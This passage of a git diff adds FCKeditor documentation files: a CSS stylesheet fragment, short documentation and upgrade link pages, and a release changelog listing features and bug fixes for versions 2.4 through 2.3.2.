+.color15 {background-color: #99FF99;}
+
+.color16 {background-color: #FFFFCC;}
+.color17 {background-color: #CCCC99;}
+.color18 {background-color: #FFFF99;}
+.color19 {background-color: #FFCC99;}
+.color20 {background-color: #FF99CC;}
+
+.color21 {background-color: #CC99FF;}
+.color22 {background-color: #99CCFF;}
+.color23 {background-color: #99FFCC;}
+.color24 {background-color: #CCFF99;}
+.color25 {background-color: #CCCCCC;}
+
+
+/* advacned search result*/
+#searching {padding: 3px; border: 1px dotted grey; background: #eee;}
+/* advacned search result*/
+#searching h4 {margin: 0;}
\ No newline at end of file
diff --git a/fckeditor/_documentation.html b/fckeditor/_documentation.html
new file mode 100755 (executable)
index 0000000..afac487
--- /dev/null
@@ -0,0 +1,38 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * --- BEGIN LICENSE ---
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * --- END LICENSE ---
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor - Documentation</title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <style type="text/css">
+               body { font-family: arial, verdana, sans-serif }
+               p { margin-left: 20px }
+       </style>
+</head>
+<body>
+       <h1>
+               FCKeditor Documentation</h1>
+       <p>
+               You can find the official documentation for FCKeditor online, at <a href="http://wiki.fckeditor.net/">
+                       http://wiki.fckeditor.net/</a>.</p>
+</body>
+</html>
diff --git a/fckeditor/_upgrade.html b/fckeditor/_upgrade.html
new file mode 100755 (executable)
index 0000000..1af55d5
--- /dev/null
@@ -0,0 +1,38 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * --- BEGIN LICENSE ---
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * --- END LICENSE ---
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor - Upgrade</title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <style type="text/css">
+               body { font-family: arial, verdana, sans-serif }
+               p { margin-left: 20px }
+       </style>
+</head>
+<body>
+       <h1>
+               FCKeditor Upgrade</h1>
+       <p>
+               Please check the following URL for notes regarding upgrade: <a href="http://wiki.fckeditor.net/Developer%27s_Guide/Upgrade">
+                       http://wiki.fckeditor.net/Developer%27s_Guide/Upgrade</a></p>
+</body>
+</html>
diff --git a/fckeditor/_whatsnew.html b/fckeditor/_whatsnew.html
new file mode 100755 (executable)
index 0000000..1c02358
--- /dev/null
@@ -0,0 +1,2572 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * --- BEGIN LICENSE ---
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * --- END LICENSE ---
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor - What's New?</title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <style type="text/css">
+               body { font-family: arial, verdana, sans-serif }
+               p { margin-left: 20px }
+       </style>
+</head>
+<body>
+       <h3>
+               Version 2.4</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1329273&group_id=75348&atid=543656">SF
+                       Feature-1329273</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1456005&group_id=75348&atid=543656">SF
+                               Feature-1456005</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1315002&group_id=75348&atid=543653">SF
+                                       BUG-1315002</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1350180&group_id=75348&atid=543653">SF
+                                               BUG-1350180</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1450689&group_id=75348&atid=543653">SF
+                                                       BUG-1450689</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1461033&group_id=75348&atid=543653">SF
+                                                               BUG-1461033</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1510111&group_id=75348&atid=543653">SF
+                                                                       BUG-1510111</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1203560&group_id=75348&atid=543653">SF
+                                                                               BUG-1203560</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1564838&group_id=75348&atid=543653">SF
+                                                                                       BUG-1564838</a>] The advance <strong>Enter Key Handler</strong>
+                       is now being introduced. It gives you complete freedom to configure the editor to
+                       generate <strong>&lt;p&gt;, &lt;div&gt; or &lt;br&gt;</strong> when the user uses
+                       both the [Enter] and [Shift]+[Enter] keys. The new "EnterMode" and "ShiftEnterMode"
+                       settings can be use to control its behavior. It also guarantees that all browsers
+                       will generate the same output. </li>
+               <li>The new and powerful <strong>Keyboard Accelerator System</strong> is being introduced.
+                       You can now precisely control the commands to execute when some key combinations
+                       are activated by the user. It guarantees that all browsers will have the same behavior
+                       regarding the shortcuts.<br />
+                       It also makes it possible to remove buttons from the toolbar and still invoke their
+                       features by using the keyboard instead.
+                       <br />
+                       It also blocks all default "CTRL based shortcuts" imposed by the browsers, so if
+                       you don't want users to underline text, just remove the CTRL+U combination from
+                       the keystrokes table. Take a look at the FCKConfig.Keystrokes setting in the fckconfig.js
+                       file. </li>
+               <li>The new "<strong>ProtectedTags</strong>" configuration option is being introduced.
+                       It will accept a list of tags (separated by a pipe "|"), which will have no effect
+                       during editing, but will still be part of the document DOM. This can be used mainly
+                       for non HTML standard, custom tags.</li>
+               <li>Dialog box commands can now open resizable dialogs (by setting oCommand.Resizable
+                       = true).</li>
+               <li>Updated support for AFP. Thanks to Soenke Freitag.</li>
+               <li>New language file:<ul>
+                       <li><strong>Afrikaans</strong> (by Willem Petrus Botha). </li>
+               </ul>
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1456343&group_id=75348&atid=543655">SF
+                       Patch-1456343</a>] New sample file showing how to dynamically exchange a textarea
+                       and an instance of FCKeditor. Thanks to Finn Hakansson</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1496115&group_id=75348&atid=543655">SF
+                       Patch-1496115</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1588578&group_id=75348&atid=543653">SF
+                               BUG-1588578</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1376534&group_id=75348&atid=543653">SF
+                                       BUG-1376534</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1343506&group_id=75348&atid=543653">SF
+                                               BUG-1343506</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1211065&group_id=75348&atid=543656">SF
+                                                       Feature-1211065</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=949144&group_id=75348&atid=543656">SF
+                                                               Feature-949144</a>] The content of anchors are shown and preserved
+                       on creation. * </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1587175&group_id=75348&atid=543656">SF
+                       Feature-1587175</a>] Local links to an anchor are readjusted if the anchor changes.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1500040&group_id=75348&atid=543655">SF
+                       Patch-1500040</a>] New configuration values to specify the Id and Class for the
+                       body element.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1577202&group_id=75348&atid=543655">SF
+                       Patch-1577202</a>] The links created with the popup option now are accessible even
+                       if the user has JavaScript disabled.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1443472&group_id=75348&atid=543655">SF
+                       Patch-1443472</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1576488&group_id=75348&atid=543653">SF
+                               BUG-1576488</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1334305&group_id=75348&atid=543653">SF
+                                       BUG-1334305</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1578312&group_id=75348&atid=543653">SF
+                                               BUG-1578312</a>] The Paste from Word clean up function can be configured
+                       with FCKConfig.CleanWordKeepsStructure to preserve the markup as much as possible.
+                       Thanks Jean-Charles ROGEZ. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1472654&group_id=75348&atid=543655">SF
+                       Patch-1472654</a>] The server side script location for SpellerPages can now be set
+                       in the configuration file, by using the SpellerPagesServerScript setting.</li>
+               <li><span style="color: #ff0000">Attention:</span> All connectors are now pointing by
+                       default to the "/userfiles/" folder instead of "/UserFiles/" (case change). Also,
+                       the inner folders for each type (file, image, flash and media) are all lower-cased
+                       too.</li><li><span style="color: #ff0000">Attention:</span> The UseBROnCarriageReturn configuration
+                       is not anymore valid. The EnterMode setting can now be used to precisely set the
+                       enter key behavior.</li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1444937&group_id=75348">SF
+                       BUG-1444937</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1274364&group_id=75348">SF
+                               BUG-1274364</a>] Shortcut keys are now undoable correctly.</li><li>[<a target="_blank"
+                                       href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1015230&group_id=75348">SF
+                                       BUG-1015230</a>] Toolbar buttons now update their state on shortcut keys activation.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1485621&group_id=75348">SF
+                       BUG-1485621</a>] It is now possible to precisely control which shortcut keys can
+                       be used.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1573714&group_id=75348">SF
+                       BUG-1573714</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1593323&group_id=75348">SF
+                               BUG-1593323</a>] Paste was not working in IE if both AutoDetectPasteFromWord
+                       and ForcePasteAsPlainText settings were set to "false". </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1578306&group_id=75348">SF
+                       BUG-1578306</a>] The context menu was wrongly positioned if the editing document
+                       was set to render in strict mode. Thanks to Alfonso Martinez.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1567060&group_id=75348">SF
+                       BUG-1567060</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1565902&group_id=75348">SF
+                               BUG-1565902</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1440631&group_id=75348">SF
+                                       BUG-1440631</a>] IE was getting locked on some specific cases. Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1582859&group_id=75348">SF
+                       BUG-1582859</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1579507&group_id=75348&atid=543655">SF
+                               Patch-1579507</a>] Firefox' spellchecker is now disabled during editing mode.
+                       Thanks to Alfonso Martinez.</li>
+               <li>Fixed Safari and Opera detection system (for development purposes only).</li>
+               <li>Paste from Notepad was including font information in IE. Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1584092&group_id=75348">SF
+                       BUG-1584092</a>] When replacing text area, names with spaces are now accepted.</li>
+               <li>Depending on the implementation of toolbar combos (mainly for custom plugins) the
+                       editor area was loosing the focus when clicking in the combo label. Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1596937&group_id=75348&atid=543653">SF
+                       BUG-1596937</a>] InsertHtml() was inserting the HTML outside the editor area on
+                       some very specific cases.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1585548&group_id=75348">SF
+                       BUG-1585548</a>] On very specific, rare and strange cases, the XHTML processor was
+                       not working properly in IE. Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1584951&group_id=75348">SF
+                       BUG-1584951</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1380598&group_id=75348">SF
+                               BUG-1380598</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1198139&group_id=75348">SF
+                                       BUG-1198139</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1437318&group_id=75348">SF
+                                               BUG-1437318</a>] In Firefox, the style selector will not anymore delete
+                       the contents when removing styles on specific cases.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1515441&group_id=75348">SF
+                       BUG-1515441</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1451071&group_id=75348">SF
+                               BUG-1451071</a>] The "Insert/Edit Link" and "Select All" buttons are now working
+                       properly when the editor is running on a IE Modal dialog.</li>
+               <li>On some very rare cases, IE was throwing a memory error when hiding the context
+                       menus. Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1526154&group_id=75348">SF
+                       BUG-1526154</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1509208&group_id=75348&atid=543653">SF
+                               BUG-1509208</a>] With Firefox, &lt;style&gt; tags defined in the source are
+                       now preserved.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1535946&group_id=75348">SF
+                       BUG-1535946</a>] The IE dialog system has been changed to better work with custom
+                       dialogs.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1599520&group_id=75348">SF
+                       BUG-1599520</a>] The table dialog was producing empty tags when leaving some of
+                       its fields empty.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1599545&group_id=75348">SF
+                       BUG-1599545</a>] HTML entities are now processed on attribute values too.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1598517&group_id=75348">SF
+                       BUG-1598517</a>] Meta tags are now protected from execution during editing (avoiding
+                       the "redirect" meta to be activated).</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1415601&group_id=75348">SF
+                       BUG-1415601</a>] Firefox internals: styleWithCSS is used instead of the deprecated
+                       useCSS whenever possible.</li>
+               <li>All JavaScript Core extension function have been renamed to "PascalCase" (some were
+                       in "camelCase"). This may have impact on plugins that use any of those functions.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1592311&group_id=75348">SF
+                       BUG-1592311</a>] Operations in the caption of tables are now working correctly in
+                       both browsers.</li>
+               <li>Small interface fixes to the about box.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1604576&group_id=75348&atid=543655">SF
+                       PATCH-1604576</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1604301&group_id=75348">SF
+                               BUG-1604301</a>] Link creation failed in Firefox 3 alpha. Thanks to Arpad Borsos</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1577247&group_id=75348&atid=543653">SF
+                       BUG-1577247</a>] Unneeded call to captureEvents and releaseEvents.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1610790&group_id=75348">SF
+                       BUG-1610790</a>] On some specific situations, the call to form.submit(), in form
+                       were FCKeditor has been unloaded by code, was throwing the "Can't execute code from
+                       a freed script" error.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1613167&group_id=75348&atid=543653">SF
+                       BUG-1613167</a>] If the configuration was missing the FCKConfig.AdditionalNumericEntities
+                       entry an error appeared.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1590848&group_id=75348&atid=543653">SF
+                       BUG-1590848</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1626360&group_id=75348&atid=543653">SF
+                               BUG-1626360</a>] Cleaning of JavaScript strict warnings in the source code.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1559466&group_id=75348&atid=543653">SF
+                       BUG-1559466</a>] The ol/ul list property window always searched first for a UL element.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1516008&group_id=75348&atid=543653">SF
+                       BUG-1516008</a>] Class attribute in IE wasn't loaded in the image dialog.</li>
+               <li>The "OnAfterSetHTML" event is now fired when being/switching to Source View.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1631807&group_id=75348&atid=543653">SF
+                       BUG-1631807</a>] Elements' style properties are now forced to lowercase in IE.</li>
+               <li>The extensions "html", "htm" and "asis" have been added to the list of denied extensions
+                       on upload.</li>
+               <li>Empty inline elements (like span and strong) will not be generated any more.</li>
+               <li>Some elements attributes (like hspace) where not being retrieved when set to "0".</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1508341&group_id=75348&atid=543653">SF
+                       BUG-1508341</a>] Fix for the ColdFusion script file of SpellerPages.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a href="http://www.imedi.org/">Medical
+                       Media Lab</a>.</p>
+       <h3>
+               Version 2.3.3</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>The project has been <strong>relicensed</strong> under the terms of the <strong>
+                       GPL / LGPL / MPL</strong> licenses. This change will remove many licensing compatibility
+                       issues with other open source licenses, making the editor even more "open" than
+                       before. </li>
+               <li><font color="#ff0000">Attention:</font> The default directory in the distribution
+                       package is now named "fckeditor" (in lowercase) instead of "FCKeditor".&nbsp; This
+                       change may impact installations on case sensitive OSs, like Linux. 
+               </li>
+               <li><font color="#ff0000">Attention:</font> The "Universal Keyboard"
+                       has been removed from the package. The license of those files was unclear so they
+                       can't be included alongside the rest of FCKeditor.</li></ul>
+       <h3>
+               Version 2.3.2</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>Users can now decide if the template dialog will replace the entire contents of
+                       the editor or simply place the template in the cursor position. This feature can
+                       be controlled by the "TemplateReplaceAll" and "TemplateReplaceCheckbox" configuration
+                       options.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1237693&group_id=75348&atid=543655">SF
+                       Patch-1237693</a>] A new configuration option (<strong>ProcessNumericEntities</strong>)
+                       is now available to tell the editor to convert non ASCII chars to their relative
+                       numeric entity references. It is disabled by default.</li>
+               <li>The new "<strong>AdditionalNumericEntities</strong>" setting makes it possible to
+                       define a set of characters to be transformed to their relative numeric entities.
+                       This is useful when you don't want the code to have simple quotes ('), for example.</li>
+               <li>The Norwegian language file (no.js) has been duplicated to include the Norwegian
+                       Bokmal (nb.js) in the supported interface languages. Thanks to Martin Kronstad.
+               </li>
+               <li>Two new patterns have been added to the Universal Keyboard:
+                       <ul>
+                               <li>Persian. Thanks to Pooyan Mahdavi</li>
+                               <li>Portuguese. Thanks to Bo Brandt.</li>
+                       </ul>
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1517322&group_id=75348&atid=543655">SF
+                       Patch-1517322</a>] It is now possible to define the start number on numbered lists.
+                       Thanks to Marcel Bennett.</li>
+               <li>The Font Format combo will now reflect the EditorAreaCSS styles.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1461539&group_id=75348&atid=543655">SF
+                       Patch-1461539</a>] The File Browser connector can now optionally return a "url"
+                       attribute for the files. Thanks to Pent.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1090851&group_id=75348">SF
+                       BUG-1090851</a>] The new "ToolbarComboPreviewCSS" configuration option has been
+                       created, so it is possible to point the Style and Format toolbar combos to a different
+                       CSS, avoiding conflicts with the editor area CSS.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1421309&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1421309</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1489402&group_id=75348">SF
+                               BUG-1489402</a>] It is now possible to configure the Quick Uploder target path
+                       to consider the file type (ex: Image or File) in the target path for uploads.</li>
+               <li>The JavaScript integration file has two new things:
+                       <ul>
+                               <li>The "CreateHtml()" function in the FCKeditor object, used to retrieve the HTML of
+                                       an editor instance, instead of writing it directly to the page (as done by "Create()").</li>
+                               <li>The global "FCKeditor_IsCompatibleBrowser()" function, which tells if the executing
+                                       browser is compatible with FCKeditor. This makes it possible to do any necessary
+                                       processing depending on the compatibility, without having to create and editor instance.</li>
+                       </ul>
+               </li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1525242&group_id=75348">SF
+                       BUG-1525242</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1500050&group_id=75348">SF
+                               BUG-1500050</a>] All event attributes (like onclick or onmouseover) are now
+                       being protected before loading the editor. In this way, we avoid firing those events
+                       during editing (IE issue) and they don't interfere in other specific processors
+                       in the editor.</li>
+               <li>Small security fixes to the File Browser connectors. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1546226&group_id=75348">SF
+                       BUG-1546226</a>] Small fix to the ColdFusion CFC integration file.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&atid=543655&aid=1547768&group_id=75348">SF
+                       Patch-1407500</a>] The Word Cleanup function was breaking the HTML on pasting, on
+                       very specific cases. Fixed, thanks to Frode E. Moe.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1551979&group_id=75348&atid=543655">SF
+                       Patch-1551979</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1418066&group_id=75348">SF
+                               BUG-1418066</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1439621&group_id=75348">SF
+                                       BUG-1439621</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1501698&group_id=75348&atid=543653">SF
+                                               BUG-1501698</a>] Make FCKeditor work with application/xhtml+xml. Thanks
+                       to Arpad Borsos.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1547738&group_id=75348&atid=543655">SF
+                       Patch-1547738</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1550595&group_id=75348&atid=543653">SF
+                               BUG-1550595</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1540807&group_id=75348&atid=543653">SF
+                                       BUG-1540807</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1510685&group_id=75348&atid=543653">SF
+                                               BUG-1510685</a>] Fixed problem with panels wrongly positioned when the
+                       editor is placed on absolute or relative positioned elements. Thanks to Filipe Martins.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1511294&group_id=75348&atid=543655">SF
+                       Patch-1511294</a>] Small fix for the File Browser compatibility with IE 5.5.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1503178&group_id=75348&atid=543655">SF
+                       Patch-1503178</a>] Small improvement to stop IE from loading smiley images when
+                       one smiley is quickly selected from a huge list of smileys. Thanks to stuckhere.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1549112&group_id=75348&atid=543653">SF
+                       BUG-1549112</a>] The Replace dialog window now escapes regular expression specific
+                       characters in the find and replace fields.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1548788&group_id=75348&atid=543653">SF
+                       BUG-1548788</a>] Updated the ieSpell download URL.</li>
+               <li>In FF, the editor was throwing an error when closing the window. Fixed.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1538509&group_id=75348&atid=543653">SF
+                       BUG-1538509</a>] The "type" attribute for text fields will always be set now.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1551734&group_id=75348&atid=543653">SF
+                       BUG-1551734</a>] The SetHTML function will now update the editing area height no
+                       matter which editing mode is active.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1554141&group_id=75348&atid=543653">SF
+                       BUG-1554141</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1565562&group_id=75348&atid=543653">SF
+                               BUG-1565562</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1451056&group_id=75348&atid=543653">SF
+                                       BUG-1451056</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1478408&group_id=75348&atid=543653">SF
+                                               BUG-1478408</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1489322&group_id=75348&atid=543653">SF
+                                                       BUG-1489322</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1513667&group_id=75348&atid=543653">SF
+                                                               BUG-1513667</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1562134&group_id=75348&atid=543653">SF
+                                                                       BUG-1562134</a>] The protection of URLs has been enhanced
+                       and now it will not break URLs on very specific cases.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1545732&group_id=75348&atid=543653">SF
+                       BUG-1545732</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1490919&group_id=75348&atid=543653">SF
+                               BUG-1490919</a>] No security errors will be thrown when loading FCKeditor in
+                       page inside a FRAME defined in a different domain.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1512817&group_id=75348&atid=543653">SF
+                       BUG-1512817</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1571345&group_id=75348&atid=543653">SF
+                               BUG-1571345</a>] Fixed the "undefined" addition to the content when ShowBorders
+                       = false and FullPage = true in Firefox. Thanks to Brett.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1512798&group_id=75348&atid=543653">SF
+                       BUG-1512798</a>] BaseHref will now work well on FullPage, even if no &lt;head&gt;
+                       is available.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1509923&group_id=75348&atid=543653">SF
+                       BUG-1509923</a>] The DocumentProcessor is now called when using InserHtml().</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1505964&group_id=75348&atid=543653">SF
+                       BUG-1505964</a>] The DOCTYPE declaration is now preserved when working in FullPage.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1553727&group_id=75348&atid=543653">SF
+                       BUG-1553727</a>] The editor was throwing an error when inserting complex templates.
+                       Fixed.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1564930&group_id=75348&atid=543655">SF
+                       Patch-1564930</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1562828&group_id=75348">SF
+                               BUG-1562828</a>] In IE, anchors where incorrectly copied when using the Paste
+                       from Word button. Fixed, thanks to geirhelge.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1557709&group_id=75348&atid=543653">SF
